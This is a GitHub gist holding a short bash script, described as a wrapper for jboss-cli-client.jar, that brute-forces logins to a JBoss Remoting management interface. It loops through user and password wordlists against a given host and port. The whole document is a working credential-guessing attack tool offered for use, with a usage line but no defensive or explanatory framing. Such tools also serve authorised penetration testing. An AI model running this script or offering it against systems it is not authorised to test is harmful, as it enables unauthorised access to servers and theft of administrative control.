Created
June 4, 2020 15:38
-
-
Save ztgrace/9afa7a7c2e0ebffec43089af6a7715e2 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Wrapper for the jboss-cli-client.jar to brute creds | |
# Usage: ./jboss-cli-client-brute.bash 10.10.10.10 4447 ./users.txt ./passwords.txt | |
# | |
# Default port: 4447 | |
# Nmap service description: JBoss Remoting (JBoss management interface) | |
host=$1 | |
port=$2 | |
user_file=$3 | |
pass_file=$4 | |
for user in $(cat $user_file); do | |
for pass in $(cat $pass_file); do | |
echo -e "[\e[34m*\e[0m] Attempting ${user}:${pass}" | |
java -jar jboss-cli-client.jar --connect --controller=${host}:${port} --user="${user}" --password="${pass}" | |
done | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment